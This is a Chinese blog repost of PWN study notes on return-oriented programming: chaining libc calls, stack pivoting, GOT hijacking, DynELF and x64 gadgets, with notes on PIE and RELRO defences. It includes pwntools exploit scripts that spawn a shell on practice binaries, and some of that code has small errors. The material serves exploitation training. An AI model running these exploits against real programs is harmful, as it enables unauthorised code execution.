
长亭PWN笔记02
发布日期:2021-05-14 08:36:26
浏览次数:16
分类:精选文章
本文共 5632 字,大约阅读时间需要 18 分钟。
- ROP实战技巧之一:连接多个libc函数调用
- ROPP实战技巧之二:栈迁移(Stack Pivot)
- ROP案例详解
- x64下的ROP
- ROP和GOT表劫持相关缓解技术
回顾:栈布局
回顾:Return to Libc
一次在栈上布置system、exit、binsh、0,即可连续调用system("/bin/sh")和exit(0)
那如何串联3次或更多的libc函数调用?如果libc函数有2个以上的参数,如何不是ROP Payload?例如
read(fd,buf,size)write(fd,buf,size)
DEMO代码:
from pwn import *elf = ELF("./ret2libc")libc = elf.libcio = process("./ret2libc")pause()io.recvuntil("This is your gift: ")setvbuf_addr = int(io.recvline().strip(),16)#libc.sym就是offsetlibc_base = setvbuf_addr - libc.sym["setvbuf"]system_addr = libc_base + libc.sym["system"]binsh_addr = libc_base + libc.search("/bin/sh\x00").next()pause()log.info("setvbuf_addr:0x%x") % setvbuf_addr)log.info("libc_base:0x%x") % libc_base)log.info("system_addr:0x%x") % system_addr)log.info("binsh_addr:0x%x") % binsh_addr)pay = "A"*0x68 + "B"*4pay += p32(system_addr)pay += 'CCCC'pay += p32(binsh_addr)io.send(pay)io.interactive()
连接多个libc函数调用
例如要连接read(fd1,buf1,size1)
和write(fd2,buf2,size2)
两个函数调用,无法按照system("/bin/sh")
和exit(0)
那样布置ROP Payload,参数会产生重叠
使用pop ret
这类的ROP Gadget可以解决这个问题,例如:
pop ebx ; pop esi ; pop edi ; ret ;
这种三个的gadget下文记为pop3 ret
偏移计算
栈迁移
- 定义
- 通过一个修改esp寄存器的gadget来改变栈的位置
- 应用场景
- 溢出长度较短,不够做ROP(例1)
- 溢出载荷以0结尾,而gadget地址为0开头(例2)
- 在泄露地址后,我们需要执行一个新的ROP链
例1:
vodi stack_overflow(char *user){ char dst[512]; if (strlen(user)>536) return; //536-512 = 24 字节的溢出,太短! strcpy(dst,user);}
例2:
vodi stack_overflow(char *user){ char dst[512] strcpy(dst,user);}x64 assembly0x406113: 55 push %rbp0x406114: 41 89 d4 mov %edx,%e12d
add esp
将esp加上一个固定值的gadget我们称为“add esp”,例如:add esp,0x6c;ret;
pop ebp ret + leave ret
pop ebp;ret;
+leavel;ret;
两个gadget组合可以将esp改成任意值pop ebp;ret;
可以将ebp改为任意值leave = mov esp,ebp;pop ebp
因此ebp会存入esp,esp可以任意控制
利用
- 第一次ROP,泄露libc地址
- 调用
write(1,write_got,4)
,泄露write函数地址,同方法1 - 调用read(0,new_stack,ROP_len),读取第二次ROP Payload到BSS段(新的栈)
- 利用栈迁移
pop ebp ret
+leave ret
,连接执行第二次ROP - 等待栈迁移触发第二次ROP执行,启动shell
- 调用
GOT表劫持
思路
- 上述方法中,我们需要执行两次ROP,第二次ROP Payload依赖第一次ROP泄露的地址,能否只用一次ROP就完成利用?
- 在ROP中通过Return To PLT调用read和write,实际上可以实现内存任意读写
- 因此,为了最终执行system()我们可以不使用ROP,而是使用GOT表劫持的方法:先通过ROP调用read,来修改wrtie函数的GOT表项,然后再次调用write,实际上此时调用的则是GOT表项被劫持后的值,例如system()
详细步骤
- 使用一次ROP,完成libc地址泄露、GOT表劫持、命令字符串写入
- 调用write(1,write_got,4),泄露write函数地址
- 调用read(),修改write()函数的GOT表项为system地址
- 调用read(0,bss,len(cmd)),将命令字符串("/bin/sh")写入.bss Section
- 调用write(cmd),实际上调用的system(cmd)
- 读取泄露的write函数地址,计算system()地址
- 输入system()地址,修改write()函数的GOT表项
- 输入命令字符串"/bin/sh",写入.bss Section
- 调用write(cmd)来运行system(cmd)
如果题目没有给予libc怎么办
-
从寻找我们需要的libc_base
-
使用DynELF
DynELF
- 原理:如果可以实现任意内存读,可以模拟
_dll_runtime_resolve
函数的行为来解析符号,这样的好处是无需知道libc。pwntools库中的DynELF模块已经实现了此功能 - 编写一个通用的任意内存泄露函数
- 通过返回main()函数来允许内存泄露触发多次
- 将泄露函数传入DynELF来解析system()函数的地址
- 通过ROP来调用system("/bin/sh")
- 当目标的libc库未知时,DynELF非常有用
DEMO展示:
from pwn import *context(arch='i386',os='linux',endian='little',log_level='debug')main = 0x80481Dbss = 0x8049700elf = ELF("")p = process("")print "[+] PID: %s" % proc.pidof(p)log.info("[+] system: %s" % hex(system))#将栈溢出封装成ROP调用,方便多次触发def do_rop(rop): payload = 'A' * (0x88 + 4) payload += rop p.send(payload)#任意内存读函数,通过ROP调用write函数将任意地址内存读出,最后回到main,实现反复触发def peek(addr): payload = 'A' * (0x88 + 4) rop = p32(elf.plt['write']) + p32(main) + p32(1) + p32(add) + p32(4) payload += rop p.send(payload) data = p.recv(4) return data#任意内存写函数,通过ROP调用write函数将任意地址内存写入,最后回到main,实现反复触发def poke(addr,data): payload = 'A' * (0x88 + 4) rop = p32(elf.plt['read']) + p32(main) + p32(0) + p32(add) + p32(len(data)) payload += rop p.send(payload) p.send(data)#将任意内存泄露函数peek传入DynELFd = DynELF(peek,elf=elf)#DynELF模块可以实现任意库中的任意符号解析,例如systemsystem = d.lookup("system","libc.so")log.info("[+] system: %s" % hex(system))#将要执行的命令写入.bss Sectionpoke(bss,'/bin/sh\0')#通过ROP运行system(cmd)do_rop(p32(system) + p32(0xDEADBEEF) + p32(bss))p.interactive()
x64架构下的ROP
- amd64(64位)cdecl调用约定
- 使用寄存器rdi、rsi、rdx、rcx、r8、r9来传递前6个参数
- 第七个及以上的参数通过栈来传递
- 参数在寄存器中,必须用gadget来设置参数
- pop rdi ; ret
- pop rsi ; pop r15 ; ret ;
- 用gadget设置rdx和rcx寄存器就比较困难一点,没有例如pop ret这种特别直接的gadget
x64下通用Gadget
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j.text:0000000000400600 mov rdx, r13.text:0000000000400603 mov rsi, r14.text:0000000000400606 mov edi, r15d.text:0000000000400609 call qword ptr [r12+rbx*8].text:000000000040060D add rbx, 1.text:0000000000400611 cmp rbx, rbp.text:0000000000400614 jnz short loc_400600.text:0000000000400616.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j.text:0000000000400616 add rsp, 8.text:000000000040061A pop rbx.text:000000000040061B pop rbp.text:000000000040061C pop r12.text:000000000040061E pop r13.text:0000000000400620 pop r14.text:0000000000400622 pop r15.text:0000000000400624 retn.text:0000000000400624 __libc_csu_init endp
几乎所有的x64 ELF在_libc_csu_init函数中存在上面两个Gadget,第二个Gadget可以设置r13、r14、r15,再通过一个Gadget将这三个值分别送入rdx、rsi、edi中,正好涵盖了x64 cdecl调用约定下的前三个参数
One Gadget
通过OneGadget工具进行查找:https://github.com/david942j/one_gadget
通常执行system("/bin/sh")需要在调用system之前传递参数;
比较神奇的是,libc中包含一些gadget,直接跳转过去即可启动shell;
通常通过寻找字符串"/bin/sh"的引用来寻找(对着/bin/sh的地址在IDA Pro中按X)
如何防御ROP
- 位置无关代码(PIE)可防御攻击者直接ROP
- 攻击者不知道代码地址
- ROP与return to PLT技术无法直接使用
- PIE绕过方法
- 结合信息泄露漏洞
- x86_32架构下可爆破
- 内存地址随机化粒度以页为单位:0x1000字节对齐
如何防御GOT表劫持
- 重定位只读(Relocation Read Only)缓解措施
- 编译选项:gcc -z , relro
- 在进入main()之前,所有的外部函数都会被解析
- 所有GOT表设置为只读
- 绕过方法
- 劫持为开启该保护的动态库中的GOT表(例如libc中的GOT表)
- 改写函数返回地址或函数指针
发表评论
最新留言
路过按个爪印,很不错,赞一个!
[***.219.124.196]2025年04月18日 01时27分49秒
关于作者

喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!
推荐文章
编译android源代码(aosp)
2019-03-12
Java流程控制语句
2019-03-12
wincc实现手机APP远程监控
2019-03-12
3.6.X版本的OSG无法打开osgShadow/ShadowVolume的问题
2019-03-12
vue手写 头部 滑动按钮 点击查看更多,可折叠
2019-03-12
IDEA 找不到 Persistence窗口解决办法
2019-03-12
海思SDK mkimage command not found
2019-03-12
QT5 退出窗口
2019-03-12
rk3399平台gt9xx触摸屏驱动分析
2019-03-12
Android 吸顶布局
2019-03-12
"compileDebugJavaWithJavac"错误解决
2019-03-12
维基百科之AndroidRoot
2019-03-12
SQL语言-DDL、DML、DCL
2019-03-12
import Vue from 'vue'的过程
2019-03-12
ubuntu16.04下系统配置
2019-03-12
国内有哪些比较靠谱的云服务器?
2019-03-12
Java中有几种基本数据类型?它们分别占多大字节?
2019-03-12